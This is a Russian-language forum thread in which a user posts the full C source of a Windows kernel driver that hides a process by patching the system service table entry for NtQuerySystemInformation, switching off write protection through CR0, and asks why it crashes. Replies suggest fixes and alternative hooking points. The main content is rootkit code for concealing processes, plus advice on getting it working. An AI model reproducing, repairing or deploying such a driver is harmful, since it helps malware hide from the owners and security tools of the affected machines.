Впервые пытаюсь написать драйвер, который должен будет скрывать процессы и т.п. убираю второй раз, т.к. есть аттачи для таких больших кусков. и тереть предупреждения нехорошо. Сори, думал в рамку можна ^ после установки перехвата при любом обращении к NtQuerySystemInformation комп быстренько перезагружаается , даже если в моем обработчике только вызывать TrueNtQuerySystemInformation. Обьясните плиз что не так, буду очень благодарен. Файл прилагается
Код (Text): #include <ntddk.h> #define DEBUG #define CODE_HOOK 0 #define CODE_UNHOOK 1 #ifdef DEBUG #define DPRINT DbgPrint #else #define DPRINT #endif typedef struct { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; ULONG BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; // Win2k only ULONG pThreads; } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; typedef struct { PVOID* ServiceTable; ULONG CounterTable; ULONG ServiceLimit; ULONG ArgumentTable; } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE; typedef struct { SYSTEM_SERVICE_TABLE ntoskrnl; SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE unused1; SYSTEM_SERVICE_TABLE unused2; } SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; #define NTCALL(_function) KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function] typedef NTSTATUS (*QUERY_SYSTEM_INFORMATION_PROC)(ULONG, PSYSTEM_PROCESSES, ULONG, ULONG); WCHAR DeviceName[] = L"\\Device\\HideProcess"; WCHAR SymbolicLinkName[] = L"\\DosDevices\\HideProcess"; UNICODE_STRING usDeviceName; UNICODE_STRING usSymbolicLinkName; PDEVICE_OBJECT pDeviceObject; QUERY_SYSTEM_INFORMATION_PROC TrueQuerySystemInformation; ULONG HiddenPID = 956; ULONG Hooked = 0; NTSTATUS NewQuerySystemInformation(ULONG SysInfoCode, PSYSTEM_PROCESSES SysInfo, ULONG Len, ULONG ReturnLen) { PSYSTEM_PROCESSES Info, Prev; NTSTATUS st = TrueQuerySystemInformation(SysInfoCode, SysInfo, Len, ReturnLen); if((st == STATUS_SUCCESS) && (SysInfoCode == 5)) { Info = SysInfo; while(Info->NextEntryDelta) { Prev = Info; Info = (PSYSTEM_PROCESSES)((ULONG)Info + Info->NextEntryDelta); if(Info->ProcessId == HiddenPID) { Prev->NextEntryDelta += Info->NextEntryDelta; break; } } } return st; } void HookProc() { ULONG Temp; if(!Hooked) { TrueQuerySystemInformation = NTCALL(0x00AD); _asm { cli mov eax, cr0 mov Temp,eax and eax,0xFFFEFFFF mov cr0, eax } NTCALL(0x00AD) = NewQuerySystemInformation; _asm { mov eax, Temp mov cr0, eax sti } DPRINT("HideProcessDriver: HookProc() - success."); Hooked++; } else DPRINT("HideProcessDriver: HookProc() - failed."); } void UnhookProc() { ULONG Temp; if(Hooked) { _asm { cli mov eax, cr0 mov Temp,eax and eax,0xFFFEFFFF mov cr0, eax } NTCALL(0x00AD) = TrueQuerySystemInformation; _asm { mov eax, Temp mov cr0, eax sti } Hooked = 0; DPRINT("HideProcessDriver: UnhookProc() - success."); } else DPRINT("HideProcessDriver: UnhookProc() - failed."); } void DriverUnload(PDRIVER_OBJECT DriverObject) { DPRINT("HideProcessDriver is unloaded"); if(Hooked) { Hooked = 0; UnhookProc(); } IoDeleteSymbolicLink(&usSymbolicLinkName); IoDeleteDevice(pDeviceObject); } NTSTATUS DriverDispatcher(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION pIoSL; ULONG Code; ULONG Length; pIoSL = IoGetCurrentIrpStackLocation(Irp); Irp->IoStatus.Information = 0; if(pIoSL->MajorFunction == IRP_MJ_WRITE) { Length = pIoSL->Parameters.Write.Length; if(Length == sizeof(ULONG)) { Code = *(PULONG)(Irp->UserBuffer); switch(Code) { case CODE_HOOK: HookProc(); break; case CODE_UNHOOK: UnhookProc(); break; } } } Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { NTSTATUS st; PDRIVER_DISPATCH *ppdd; DPRINT("HideProcessDriver is loaded"); RtlInitUnicodeString(&usDeviceName, DeviceName); RtlInitUnicodeString(&usSymbolicLinkName, SymbolicLinkName); st = IoCreateDevice(DriverObject, 0, &usDeviceName, FILE_DEVICE_NULL, 0, 0, &pDeviceObject); if(st == STATUS_SUCCESS) st = IoCreateSymbolicLink(&usSymbolicLinkName, &usDeviceName); ppdd = DriverObject->MajorFunction; ppdd[IRP_MJ_CREATE] = DriverDispatcher; ppdd[IRP_MJ_CLOSE] = DriverDispatcher; ppdd[IRP_MJ_WRITE] = DriverDispatcher; DriverObject->DriverUnload = DriverUnload; return st; }
drmist, в твоем примере перехват идет через SDT, там подругому совсем. Мне же интересно в чем ошибся я в том методе перехвата который пытаюсь использовать. Почему-то NtOpenProcess перехватывается так же но проблем с ней нет...
Пробовал. Понять ничего не смог ((. Какаято борода с TrueNtQuerySystemInformation - это она все валит, но не пойму почему
Может быть она где нибудь обращается в память заперщенную. Ты не пробовал это функцию вызвать со своим драйвом но в чужом компе?
Гхрм, а зачем вообще драйвер? Смысл выходить в Ring-0 если можно написать прогу, осуществляющую глобальный API-Hooking и повесить ее на обработку NtQuerySystemInformation и на NtCreateProcess(чтоб новые процессы тоже были пропатчены). Драйвер - это на крайняк, или если нужен Ring-0, имхо
нет, но накой мне такой драйв, что на моем компе не пашет? в юзермоде я уже єто осуществлял -плучилось, а теперь мне интересно сделать это в Ринг-0
Ну так протрасируй ее, посмотри, правильно ли снимается перехват, передаются параметры настоящей NtQuerySystemInformation.
Вся беда в том, что я тока недавно познакомился с СофтАйсом, поэтому посредством своих знаний разобраться не могу . Неужели никто не писал такое раньше!? SOS
Попробуй разрешить прерывания на время вызова NtQuerySystemInformation() в TrueNtQuerySystemInformation(). Кстати, запрещать прерывания таким образом на многопроцессорной машине (или хотя бы с гиперфредингом) бессмысленно, так как этот код вполне может быть выполнен в это время на другом процессоре.
Klayd Еще одна мысль по поводу прерываний пришла. Прежде чем выключать прерывания при правке кода функции нужно залочить память с помощью MmProbeAndLockPages() иначе в случае страничного прерывания будет BSoD или система просто повиснет. Вообще очень маловероятно, чтобы какая-нибудь другая программа обратилась к этим функциям между двумя инструкциями записи, скорее метеорит упадет на голову. Поэтому думаю заморачиваться с блокировками и отключением прерываний не стоит
Не лови NtQuerySystemInformation! кроме нее есть еще несколько способов получения списка процессов, но все они в т.ч. и NtQuerySystemInformation в конечном итоге обращаются к ZwQuerySystemInformation из ntdll.dll. К стати, виндовый диспетчер вызывает ее напрямую. Так что, лучше перехватывать ее.
sadomazer Немного не так. Все функции с префиксом Zw вызывают функции Nt. В юзер-моде эти две функции вообще идентичны, в кернел-моде Zw представляет собой stub, отключающий дополнительную проверку аргументов функций. Look here: http://www.osronline.com/article.cfm?article=257 А по поводу способов получения списка процессов никто лучше Ms-Rem на русском пока не написал: http://www.wasm.ru/article.php?article=hiddndt
Абсолютно та же проблема возниклас NtQuerySystemInformation. Компилю код Klayd'а с небольшими изменениями в TrueNtQuerySystemInformation, запускаю драйвер и "дружелюбный" синий экран разбивает мои надежды на удачный запуск . З.ы. Может сразу рабочий код выложить на форум? ))